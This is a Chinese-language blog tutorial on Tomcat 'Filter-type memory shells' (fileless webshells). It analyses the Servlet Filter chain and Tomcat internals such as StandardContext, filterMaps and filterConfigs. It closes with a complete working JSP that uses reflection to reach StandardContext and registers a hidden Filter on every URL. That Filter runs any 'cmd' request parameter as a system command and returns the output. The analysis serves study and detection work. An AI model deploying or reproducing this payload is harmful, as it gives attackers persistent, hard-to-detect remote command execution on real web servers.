Filter型内存马

约 10 分钟读完

Filter型内存马

基本介绍

一. Filter

  1. 基本概念Filter 是运行在 Servlet 之前或之后的组件,可拦截客户端对 Servlet 的请求(request)和 Servlet 返回的响应(response),实现日志记录、权限校验、字符编码转换、数据过滤等功能。
  2. 核心原理
    • 遵循 Servlet 规范,需实现javax.servlet.Filter接口,重写init()(初始化)、doFilter()(核心过滤逻辑)、destroy()(销毁)方法。
    • 通过web.xml配置或注解(@WebFilter)指定拦截的 URL 模式(如/*拦截所有请求),容器(如 Tomcat)会根据配置将 Filter 加入请求处理链。
    • 执行流程:客户端请求 → Filter 的doFilter()(可通过chain.doFilter(request, response)放行到下一个 Filter 或 Servlet)→ Servlet 处理 → 回到 Filter 进行响应处理。

二. Filter 型内存马

  1. 基本概念Filter 型内存马是攻击者通过动态注册恶意 Filter 到 Web 容器中,实现对所有请求的拦截并执行恶意代码(如命令执行、数据窃取)的攻击方式。由于无需在磁盘生成文件,难以通过传统文件查杀检测。
  2. 实现原理核心是利用 Web 容器的内部 API,动态构造恶意 Filter 并将其注册到 Filter 链中,关键步骤包括:
    • 获取容器上下文:通过ServletContext或容器特定类(如 Tomcat 的StandardContext)获取 Web 应用上下文。
    • 构造恶意 Filter:定义一个实现Filter接口的类,在doFilter()中编写恶意逻辑(如执行系统命令)。
    • 动态注册:调用容器的 API(如 Tomcat 的addFilter()addMappingForUrlPatterns())将恶意 Filter 注册,指定拦截所有 URL(/*),使其能拦截所有请求。
  3. 危害一旦成功注入,攻击者可通过发送请求触发恶意 Filter,持久化控制服务器,且由于内存马存在于进程内存中,重启服务后通常会消失(除非结合其他持久化手段)。

Filter流程分析

代码演示

创建一个Filter项目 新建类

package org.example.listendemo;  
  
import javax.servlet.FilterChain;  
import javax.servlet.ServletException;  
import javax.servlet.http.HttpFilter;  
import javax.servlet.http.HttpServletRequest;  
import javax.servlet.http.HttpServletResponse;  
import java.io.IOException;  
  
public class FilterDemo extends HttpFilter {  
    @Override  
    protected void doFilter(HttpServletRequest req, HttpServletResponse res, FilterChain chain) throws IOException, ServletException {  
        String cmd= req.getParameter("cmd");  
        if(cmd==null){  
            super.doFilter(req,res,chain);  
        }else{  
            res.setContentType("text/html;charset=utf-8");  
            res.getWriter().write("您输入了: "+cmd);  
        }  
    }  
}

然后再web.xml中添加路径配置, 或者@WebServlet()

<filter>  
    <filter-name>filterDemo</filter-name>  
    <filter-class>org.example.listendemo.FilterDemo</filter-class>  
</filter>  
<filter-mapping>  
        <filter-name>filterDemo</filter-name>  
    <url-pattern>/*</url-pattern>  
</filter-mapping>

然后启动服务器, 由于我在过滤器处除了过滤做一个出书外, 没有做其他处理, 所以当过滤器遇到?cmd=参数, 就会页面输出, 不会继续往下执行

执行流程分析

添加tomcat-catalina依赖

<dependency>  
    <groupId>org.apache.tomcat</groupId>  
    <artifactId>tomcat-catalina</artifactId>  
    <version>9.0.58</version>  
</dependency>

然后在FilterDemo类中super.doFilter(req,res,chain);一行打上断点开始分析 步入查看, 当执行到如图位置, 分析 在这个函数中, 发现不管if判断成立还是不成立, 都会执行internalDoFilter() 执行运行到下面一个internalDoFilter(). 并且步入查看 internalDoFilter这个方法执行流程是:

  • 首先检查是否还有过滤器需要执行(if (pos < n)),其中pos是当前过滤器的位置,n是过滤器总数。
  • 如果还有过滤器,获取下一个过滤器配置(ApplicationFilterConfig)并递增位置指针(pos++)。 internalDoFilter方法中ApplicationFilterConfig filterConfig = filters[pos++];
  • 从过滤器集合filters中按顺序取出下一个过滤器配置
  • 同时将当前位置指针pos向前移动一位,为下一次迭代做准备 查看堆栈 可以看到filters数组有两个值, 一个是我们自定义的filterDemo, 另外一个是内置的. 所以我们的目的是在filters数组中添加进内存马, 然后让其自己加载执行. 查看数组类型 发现在头部这里创建一个空数组 继续分析他的赋值发生的位置 发生在addFilter方法中, 查看addFilter方法在何处调用 createFilterChain中调用 filterChain.addFilter(filterConfig)会将ApplicationFilterConfig(包含 Filter 实例)存入ApplicationFilterChainfilters数组 这个方法执行流程是
    1. 初始化过滤器链
      • 首先检查是否有Servlet需要执行,如果没有则返回null
    • 根据请求类型创建或重用ApplicationFilterChain对象,对于非安全环境下的普通请求会尝试重用以提高性能
    1. 设置Servlet
    • 将目标Servlet和异步支持属性设置到过滤器链中
    1. 获取过滤器映射
    • 从StandardContext中获取所有配置的过滤器映射(FilterMap)
    1. 匹配URL模式的过滤器
    • 遍历所有过滤器映射,首先查找与请求路径匹配的过滤器
    • 检查分发器类型(dispatcher type)和URL模式是否匹配
    • 如果匹配,则将对应的过滤器配置添加到过滤器链中
    1. 匹配Servlet名称的过滤器
    • 再次遍历过滤器映射,这次查找与Servlet名称匹配的过滤器
    • 同样进行分发器类型和Servlet名称匹配检查
    • 如果匹配,则将对应的过滤器配置添加到过滤器链中
    1. 返回完整过滤器链
    • 最终返回包含所有适用过滤器的过滤器链对象

然后查看createFilterChain方法的调用 通过分析, 在StandardWrapperValve#invoke中调用 在这个方法中有一个filterChain createFilterChain生成链后,StandardWrapperValve会调用filterChain.doFilter(request, response)启动链的执行

内存马嵌入 Filter 链的关键节点

根据上述链分析,Filter 型内存马要成功嵌入并执行,需在以下节点干预:

一. 修改filterMaps和filterConfigs

createFilterChain用于创建当前请求的 Filter 链,其工作的核心是从StandardContext中获取两个关键数据结构:

  • filterMaps:存储所有 Filter 的映射规则(Filter 名称→拦截 URL/ Servlet 名称 / 请求类型),是匹配请求的 “规则库”;
  • filterConfigs:存储所有 Filter 的实例及配置(Filter 名称→ApplicationFilterConfig),是获取 Filter 实例的 “仓库”。 这两个结构均由StandardContext维护,而createFilterChain的逻辑完全依赖它们:
// 从StandardContext中获取所有Filter映射规则
FilterMap[] filterMaps = context.findFilterMaps(); 

// 遍历规则,匹配当前请求后,从filterConfigs中获取对应的Filter实例
ApplicationFilterConfig filterConfig = context.findFilterConfig(filterMap.getFilterName());

因此,StandardContextfilterMapsfilterConfigscreateFilterChain的 “数据源”,攻击者只要修改这两个数据源,就能让createFilterChain在生成链时 “被动” 纳入恶意 Filter。

二. 修改filterMaps让恶意 Filter 被匹配

filterMaps的作用是定义 “哪些请求需要经过哪些 Filter”。在createFilterChain中,会遍历filterMaps中的每一个FilterMap,检查其是否与当前请求匹配(URL 模式、请求类型等)。 以你提供的代码为例,攻击者通过standardContext.addFilterMap(filterMap)添加的恶意FilterMap会被纳入filterMaps数组。当新请求到达时:

  1. createFilterChain遍历filterMaps,必然会遇到这个恶意FilterMap
  2. 若恶意FilterMap的 URL 模式为/*(拦截所有请求),且请求类型匹配(如REQUEST),则matchFilterURLmatchFilterServlet会返回true,判定为 “匹配成功”;
  3. 匹配成功后,createFilterChain会根据filterMap.getFilterName()(恶意 Filter 的名称)去filterConfigs中查找对应的 Filter 实例。

三. 修改filterConfigs让恶意 Filter 被找到

filterConfigs的作用是通过 Filter 名称关联到具体的 Filter 实例。在createFilterChain中,匹配到恶意FilterMap后,需要通过context.findFilterConfig(filterName)获取 Filter 实例:

  • findFilterConfig的内部逻辑是从StandardContextfilterConfigs集合(本质是HashMap<String, ApplicationFilterConfig>)中,以filterName为 key 查询对应的ApplicationFilterConfig
  • ApplicationFilterConfig中封装了恶意 Filter 的实例(通过filterConfig.getFilter()可获取)。 攻击者通过standardContext.addFilter(filterName, maliciousFilter)时,Tomcat 内部会自动创建ApplicationFilterConfig并存入filterConfigs
// Tomcat内部逻辑:addFilter会将Filter实例封装为ApplicationFilterConfig
public void addFilter(String filterName, Filter filter) {
    FilterDef filterDef = new FilterDef();
    filterDef.setFilterName(filterName);
    filterDef.setFilter(filter);
    this.filterDefs.put(filterName, filterDef); // 存入filterDefs
    // 同时创建ApplicationFilterConfig并关联到filterConfigs
    ApplicationFilterConfig filterConfig = new ApplicationFilterConfig(this, filterDef);
    this.filterConfigs.put(filterName, filterConfig); 
}

因此,当createFilterChain调用findFilterConfig时,能直接从filterConfigs中拿到恶意 Filter 的ApplicationFilterConfig,进而获取实例。

四. 确保filters数组包含恶意 Filter

filters数组是ApplicationFilterChain的内部数组,用于存储当前请求需要执行的 Filter 实例(封装在ApplicationFilterConfig中)。其内容完全由createFilterChain动态生成,生成逻辑是:

  1. 遍历StandardContextfilterMaps,筛选出所有与当前请求匹配的FilterMap
  2. 对每个匹配的FilterMap,从filterConfigs中获取对应的ApplicationFilterConfig
  3. 将这些ApplicationFilterConfig按顺序存入filters数组。 当攻击者已将恶意 Filter 的FilterMap加入filterMaps,且filterConfigs中存在对应的实例时:
  • 新请求到达后,createFilterChain会匹配到恶意FilterMap
  • filterConfigs中找到恶意 Filter 的ApplicationFilterConfig
  • 最终将其加入filters数组,导致后续internalDoFilter执行时,按顺序调用恶意 Filter 的doFilter方法。 简言之:filters数组是 “临时执行列表”,其内容由filterMaps(规则)和filterConfigs(实例)共同决定,前两者被篡改后,filters数组自然会包含恶意 Filter。

filter内存马

<%@ page import="java.io.*" %>  
<%@ page import="java.lang.reflect.*" %>  
<%@ page import="org.apache.catalina.core.*" %>  
<%@ page import="javax.servlet.*, javax.servlet.http.*" %>  
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>  
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>  
<%--声明一个恶意Filter--%>  
<%!  
    public static class ShellFilter implements Filter{  
        @Override  
        public void init(FilterConfig filterConfig){}  
  
        @Override  
        public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) throws IOException, ServletException {  
            String cmd = req.getParameter("cmd");  
            if (cmd != null) {  
                Process proc = Runtime.getRuntime().exec(cmd);  
                BufferedReader br = new BufferedReader(  
                        new InputStreamReader(proc.getInputStream()));  
                String line;  
                while ((line = br.readLine()) != null) {  
                    resp.getWriter().println(line);  
                }  
                br.close();  
            }else {  
                chain.doFilter(req,resp);  
            }  
        }        @Override  
        public void destroy() {}  
    }%>  
<%--从ServletContext中获取StandardContext--%>  
<%  
    // 从request中获取servletContext  
    ServletContext servletContext = request.getServletContext();  
    // 从servletContext中获取applicationContext  
    Field applicationContextField = servletContext.getClass().getDeclaredField("context");  
    applicationContextField.setAccessible(true);  
    ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);  
    // 从applicationContext中获取standardContext  
    Field standardContextField = applicationContext.getClass().getDeclaredField("context");  
    standardContextField.setAccessible(true);  
    StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);  
%>  
<%--动态注册恶意Filter--%>  
<%  
    // 创建恶意Filter  
    ShellFilter filter = new ShellFilter();  
    FilterDef def = new FilterDef();  
    def.setFilter(filter);  
    def.setFilterName("filter-shell");  
    def.setFilterClass(filter.getClass().getName());  
    FilterMap map = new FilterMap();  
    map.addURLPattern("/*");  
    map.setFilterName("filter-shell");  
  
    standardContext.addFilterDef(def);  
    standardContext.addFilterMapBefore(map);  
    standardContext.filterStart();  
%>
← Servlet内存马 Listen内存马 →